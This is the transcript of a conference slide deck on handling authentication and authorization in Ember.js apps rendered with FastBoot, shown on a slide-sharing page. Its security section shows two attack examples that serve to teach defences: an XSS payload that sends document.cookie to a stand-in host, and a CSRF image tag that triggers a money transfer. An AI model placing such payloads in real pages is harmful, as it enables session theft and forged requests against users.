Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
Auth* with FastBoot
Search
Sponsored
·
SiteGround - Reliable hosting with speed, security, and support you can count on.
→
Marco Otte-Witte
July 12, 2016
Technology
18k
2
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
Auth* with FastBoot
An overview of handling authentication and authorization in Ember.js app and Fastboot
Marco Otte-Witte
July 12, 2016
More Decks by Marco Otte-Witte
See All by Marco Otte-Witte
Securing Technology Investments
marcoow
0
300
Handling images on the web
marcoow
0
460
SSR, SPAs and PWAs
marcoow
0
390
Fast, Fast, Fast
marcoow
2
520
Feel the Glimmer - ParisJS
marcoow
1
570
Feel the Glimmer - MunichJS 11/17
marcoow
0
180
The JSON:API spec
marcoow
3
1.9k
Leveraging the complete Ember Toolbelt
marcoow
0
450
Feel the Glimmer
marcoow
1
270
Other Decks in Technology
See All in Technology
Autonomous AI Lakehouse - Live AI Hubから始めるセキュアなAIデータ活用 -
oracle4engineer
PRO
2
150
AWS DevOps Agentはどこまで任せられるか 〜機能の現在地と、機能拡張の実践〜
nyankotaro
0
250
AI秘書と毎日働くのはもう当たり前。開発以外の業務に足りない機能をどう埋める?
minorun365
PRO
3
1.8k
QAエンジニアがSoutherを使ってみたの〜10分でわかるSouther〜
mhlyc
0
120
プロダクトが成長すると、 プロダクトマネージャーの仕事はどう変わるのか - 「まず作る」から「小さく学び、確かめながら進む」へ
sansantech
PRO
1
380
Kiro Crewで「みのるん式」仕事術やってみた
minorun365
PRO
3
1.1k
【データ横丁主催】AI エージェント時代のTranslytical Data Platform
shisyu_gaku
0
300
Claude for Google Workspaces ポン出し/claude-for-google-workspace-slide-conversion
emiki
0
13k
契約で守るコンパウンドプロダクトのデザインシステム
yug1224
1
1.5k
AI時代のGraphQL
joere
3
410
構造で守らせる データ・法務・セキュリティ・開発チームとつくる AI時代のデータガバナンスとデータ基盤のリアル
legalontechnologies
PRO
1
550
推論基盤と Scale-Up Interconnect の現状と制約から俯瞰する技術動向
markunet
2
330
Featured
See All Featured
Groundhog Day: Seeking Process in Gaming for Health
codingconduct
0
440
Embracing the Ebb and Flow
colly
88
5.2k
Darren the Foodie - Storyboard
khoart
PRO
4
4k
How to build an LLM SEO readiness audit: a practical framework
nmsamuel
2
960
Building AI with AI
inesmontani
PRO
1
1.3k
Skip the Path - Find Your Career Trail
mkilby
1
260
Save Time (by Creating Custom Rails Generators)
garrettdimon
PRO
33
5.4k
Leo the Paperboy
mayatellez
10
2.4k
How People are Using Generative and Agentic AI to Supercharge Their Products, Projects, Services and Value Streams Today
helenjbeal
2
370
What the history of the web can teach us about the future of AI
inesmontani
PRO
2
750
Bridging the Design Gap: How Collaborative Modelling removes blockers to flow between stakeholders and teams @FastFlow conf
baasie
0
740
Sharpening the Axe: The Primacy of Toolmaking
bcantrill
46
3k
Transcript
Auth* with FastBoot
Marco Otte-Witte @marcoow
https://simplabs.com @simplabs
None
https://ember-workshop.simplabs.com
Auth* in Ember
Authentication is verifying the identify of a user
Authorization is verifying permissions of an (authenticated) user
in an Ember app, you cannot actually do any of
these
$E.set('isAuthenticated', true)
$E.set('isAdmin', true)
actual authentication and authorization happens on the API server
authorization in the Ember app itself is only about presenting
a consistent UI
The Status Quo is using token based authorization
the token is issued by the API server upon authentication
and then injected into subsequent (Ember Data) requests
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
None
"progressive enhancement for ambitious web apps"
FastBoot performs the initial render on the server, reducing the
time until the user sees content
after the JavaScript has downloaded, the Ember app takes over
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
A floating session ensures a singular execution context in the
browser as well as in FastBoot
it turns out we've had the mechanism for that since
1997
http://www.discoversmithsfalls.ca/wp-content/uploads/2014/12/mm_cookie.jpg
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
None
None
None
there's no document.cookie in Node.js
ember install ember-cookies https://github.com/simplabs/ember-cookies
Demo https://github.com/marcoow/fastboot-auth-example
Security Concerns
everyone with access to a user's token can impersonate as
that user
Authorization: Bearer vsret63refrwtu9
Authorization: Bearer vsret63refrwtu9
use HTTPs so that the token is not sent as
clear text!
Authorzation: Bearer 4t4hw4et
make sure your HTTPs is setup correctly
HSTS, TLS 1.1/1.2, PFS, ephemeral Diffie Hellmann key exchange, etc.
validate your HTTPS setup https://www.ssllabs.com/ssltest/
None
http://redpowerstation.co.uk/wp-content/uploads/2013/03/image.jpg https://www.python.org/m/psf/fastly.png
XSS a web developer's worst nightmare
someone gets to execute their (malicious) JavaScripts in the context
of your app
<h2> Hello, {{{user.name}}} </h2>
<h2> Hello, <script>$.ajax('http://bad.ru?cookie=' + document.cookie)</script> </h2>
use {{…}}, not {{{…}}}
don't use htmlSafe on user entered content
enable CSP https://github.com/rwjblue/ember-cli-content-security-policy
what if JavaScript had no access to the cookie holding
the token in the first place?
An alternative approach using token based authorization via a HttpOnly
cookie
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
this has implications on your domain setup
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X X
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X X X
Demo https://github.com/marcoow/fastboot-auth-example/tree/cookie-based
CSRF makes users initiate requests without their consent or knowledge
<img src="http://bank.com/transfers-money?amount=1mio&to=attacker"/>
None
when using the Authorization header for authorizing API requests, CSRF
doesn't work
when using a cookie for authorizing API requests, you're vulnerable
to CSRF attacks
CSRF results in GET requests which should not modify anything
on the API
an attacker could initiate requests to the FastBoot server
FastBoot only pre-renders though, does not execute actions etc.
do not perform anything potentially unsafe in beforeModel, model, afterModel
etc.
do not perform anything potentially unsafe in beforeModel, model, afterModel
etc. (you probable don't anyways)
Wrapping up
Use token based authorization
use a cookie to transparently move authentication state and authorization
info between the browser and FastBoot
…and make sure you're safe
you could implement all these things yourself…
None
1.2 is going to support FastBoot out of the box
Thanks
http://simplabs.com @simplabs